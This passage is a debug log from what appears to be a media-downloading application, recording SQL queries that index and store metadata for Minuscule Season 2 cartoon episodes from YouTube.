5, "https://www.youtube.com/watch?v=N-GZ_mZLq40", 80, "/downloads/Miniscule Season 2/2025-02-11 The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation/The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation [N-GZ_mZLq40].mp4", false, false, false, [], 1, ~U[2025-02-11 11:01:26Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\r\n00:03:27 | Ladybugland | S02E62\r\n00:06:47 | The Grocery Store Incident | S02E39\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #spider #toys #danger #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation", "N-GZ_mZLq40", 657, false, 5, "https://www.youtube.com/watch?v=N-GZ_mZLq40", "/downloads/Miniscule Season 2/2025-02-11 The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation/The Grocery Store Racketeer 🕷️ Minuscule 🍃 15' Compilation [N-GZ_mZLq40].mp4", false, ~U[2025-02-11 11:01:26Z]] 22:15:46.463 [debug] QUERY OK source="sources" db=0.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.464 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-22 11:30:29Z], 5] 22:15:46.467 [debug] QUERY OK source="media_items" db=2.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:04:12 | The Stubborn Spider | S02E04\n00:07:57 | A Pathetic She'Nut'Igan | S02E12\n00:11:43 | Spider from the Depths | S02E31\n00:15:18 | High voltage | S02E30\n00:18:52 | Microzilla | S02E07\n00:22:38 | Refrigerated | S02E65\n00:26:04 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🚗 30' Compilation", "990f6431-9f15-4e84-a839-4a0937d8be33", "Q5_qB6zaOk4", 1802, false, 5, "https://www.youtube.com/watch?v=Q5_qB6zaOk4", 81, "/downloads/Miniscule Season 2/2025-01-22 Spider Driver 🕷️ Minuscule 🚗 30' Compilation/Spider Driver 🕷️ Minuscule 🚗 30' Compilation [Q5_qB6zaOk4].mp4", false, false, false, [], 1, ~U[2025-01-22 11:30:29Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Spider Driver | S02E36\n00:04:12 | The Stubborn Spider | S02E04\n00:07:57 | A Pathetic She'Nut'Igan | S02E12\n00:11:43 | Spider from the Depths | S02E31\n00:15:18 | High voltage | S02E30\n00:18:52 | Microzilla | S02E07\n00:22:38 | Refrigerated | S02E65\n00:26:04 | Labyrinth | S02E69\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#spider #flies #ladybug #car #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Spider Driver 🕷️ Minuscule 🚗 30' Compilation", "Q5_qB6zaOk4", 1802, false, 5, "https://www.youtube.com/watch?v=Q5_qB6zaOk4", "/downloads/Miniscule Season 2/2025-01-22 Spider Driver 🕷️ Minuscule 🚗 30' Compilation/Spider Driver 🕷️ Minuscule 🚗 30' Compilation [Q5_qB6zaOk4].mp4", false, ~U[2025-01-22 11:30:29Z]] 22:15:46.468 [debug] QUERY OK source="sources" db=0.4ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.469 [debug] QUERY OK source="media_items" db=0.8ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-08-13 14:30:00Z], 5] 22:15:46.472 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Beignet/The Doughnut (Season 2)", "187dc0fc-dfeb-45ed-bd6a-b550d57adaa1", "6-qwLEqPqwQ", 181, false, 5, "https://www.youtube.com/watch?v=6-qwLEqPqwQ", 82, "/downloads/Miniscule Season 2/2020-08-13 Minuscule - Le Beignet⧸The Doughnut (Season 2)/Minuscule - Le Beignet⧸The Doughnut (Season 2) [6-qwLEqPqwQ].mp4", false, false, false, [], 1, ~U[2020-08-13 14:30:00Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Beignet/The Doughnut (Season 2)", "6-qwLEqPqwQ", 181, false, 5, "https://www.youtube.com/watch?v=6-qwLEqPqwQ", "/downloads/Miniscule Season 2/2020-08-13 Minuscule - Le Beignet⧸The Doughnut (Season 2)/Minuscule - Le Beignet⧸The Doughnut (Season 2) [6-qwLEqPqwQ].mp4", false, ~U[2020-08-13 14:30:00Z]] 22:15:46.473 [debug] QUERY OK source="sources" db=0.4ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.474 [debug] QUERY OK source="media_items" db=0.9ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-08-06 14:30:00Z], 5] 22:15:46.477 [debug] QUERY OK source="media_items" db=2.0ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nTwo spiders are craving the same prey: a fat fly, lying unconscious on the surface of a pool. The booty will go to the spider that can reach the fly before it wakes up, and without getting wet of course.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Spider from the dephts / Araignée des abysses (Season 2)", "79acf9ed-bb9f-4497-8c20-2dec054e42d1", "1804_xlIy08", 263, false, 5, "https://www.youtube.com/watch?v=1804_xlIy08", 83, "/downloads/Miniscule Season 2/2020-08-06 Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2)/Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2) [1804_xlIy08].mp4", false, false, false, [], 1, ~U[2020-08-06 14:30:00Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nTwo spiders are craving the same prey: a fat fly, lying unconscious on the surface of a pool. The booty will go to the spider that can reach the fly before it wakes up, and without getting wet of course.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Spider from the dephts / Araignée des abysses (Season 2)", "1804_xlIy08", 263, false, 5, "https://www.youtube.com/watch?v=1804_xlIy08", "/downloads/Miniscule Season 2/2020-08-06 Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2)/Minuscule - Spider from the dephts ⧸ Araignée des abysses (Season 2) [1804_xlIy08].mp4", false, ~U[2020-08-06 14:30:00Z]] 22:15:46.478 [debug] QUERY OK source="sources" db=0.4ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.480 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-30 14:30:08Z], 5] 22:15:46.483 [debug] QUERY OK source="media_items" db=2.0ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nSaved by the providential fall of a tiny egg, a mother ladybug adopts it. When it hatches, she realises it contains a little caterpillar.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wing case / Sans élytres (Season 2)", "9d114c2b-d4a6-4559-8913-8425374ac043", "bO_HhX6Sp08", 294, false, 5, "https://www.youtube.com/watch?v=bO_HhX6Sp08", 84, "/downloads/Miniscule Season 2/2020-07-30 Minuscule - The wing case ⧸ Sans élytres (Season 2)/Minuscule - The wing case ⧸ Sans élytres (Season 2) [bO_HhX6Sp08].mkv", false, false, false, [], 1, ~U[2020-07-30 14:30:08Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nSaved by the providential fall of a tiny egg, a mother ladybug adopts it. When it hatches, she realises it contains a little caterpillar.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The wing case / Sans élytres (Season 2)", "bO_HhX6Sp08", 294, false, 5, "https://www.youtube.com/watch?v=bO_HhX6Sp08", "/downloads/Miniscule Season 2/2020-07-30 Minuscule - The wing case ⧸ Sans élytres (Season 2)/Minuscule - The wing case ⧸ Sans élytres (Season 2) [bO_HhX6Sp08].mkv", false, ~U[2020-07-30 14:30:08Z]] 22:15:46.484 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.485 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-23 14:30:10Z], 5] 22:15:46.488 [debug] QUERY OK source="media_items" db=1.8ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The stubborn spider / Têtue (Season 2)", "5f066bd7-ca6c-4edf-8687-241bf4c15a27", "oHMkCoPqJHs", 294, false, 5, "https://www.youtube.com/watch?v=oHMkCoPqJHs", 85, "/downloads/Miniscule Season 2/2020-07-23 Minuscule - The stubborn spider ⧸ Têtue (Season 2)/Minuscule - The stubborn spider ⧸ Têtue (Season 2) [oHMkCoPqJHs].mkv", false, false, false, [], 1, ~U[2020-07-23 14:30:10Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The stubborn spider / Têtue (Season 2)", "oHMkCoPqJHs", 294, false, 5, "https://www.youtube.com/watch?v=oHMkCoPqJHs", "/downloads/Miniscule Season 2/2020-07-23 Minuscule - The stubborn spider ⧸ Têtue (Season 2)/Minuscule - The stubborn spider ⧸ Têtue (Season 2) [oHMkCoPqJHs].mkv", false, ~U[2020-07-23 14:30:10Z]] 22:15:46.489 [debug] QUERY OK source="sources" db=0.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.490 [debug] QUERY OK source="media_items" db=0.7ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-14 14:30:00Z], 5] 22:15:46.492 [debug] QUERY OK source="media_items" db=1.8ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - An acorns season / La saison des glands (Season 2)", "8028a9a2-8597-44a3-9647-9a5d37f0814f", "1lhjwbQQ5K8", 294, false, 5, "https://www.youtube.com/watch?v=1lhjwbQQ5K8", 86, "/downloads/Miniscule Season 2/2020-07-14 Minuscule - An acorns season ⧸ La saison des glands (Season 2)/Minuscule - An acorns season ⧸ La saison des glands (Season 2) [1lhjwbQQ5K8].mp4", false, false, false, [], 1, ~U[2020-07-14 14:30:00Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - An acorns season / La saison des glands (Season 2)", "1lhjwbQQ5K8", 294, false, 5, "https://www.youtube.com/watch?v=1lhjwbQQ5K8", "/downloads/Miniscule Season 2/2020-07-14 Minuscule - An acorns season ⧸ La saison des glands (Season 2)/Minuscule - An acorns season ⧸ La saison des glands (Season 2) [1lhjwbQQ5K8].mp4", false, ~U[2020-07-14 14:30:00Z]] 22:15:46.493 [debug] QUERY OK source="sources" db=0.3ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:46.495 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-09 14:30:01Z], 5] 22:15:46.498 [debug] QUERY OK source="media_items" db=2.0ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA caterpillar finds refuge inside a pumpkin. The other farmhouse insects are not too pleased with the new tenant until the farmer takes away all the apples and potatoes, leaving them homeless.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Homeless / Sans abri (Season 2)", "5d0edddd-1ece-45d6-a8a4-c65aa5c119dc", "Uoa0_J8qVcU", 296, false, 5, "https://www.youtube.com/watch?v=Uoa0_J8qVcU", 87, "/downloads/Miniscule Season 2/2020-07-09 Minuscule - Homeless ⧸ Sans abri (Season 2)/Minuscule - Homeless ⧸ Sans abri (Season 2) [Uoa0_J8qVcU].mp4", false, false, false, [], 1, ~U[2020-07-09 14:30:01Z], ~U[2025-12-12 05:15:46Z], ~U[2025-12-12 05:15:46Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA 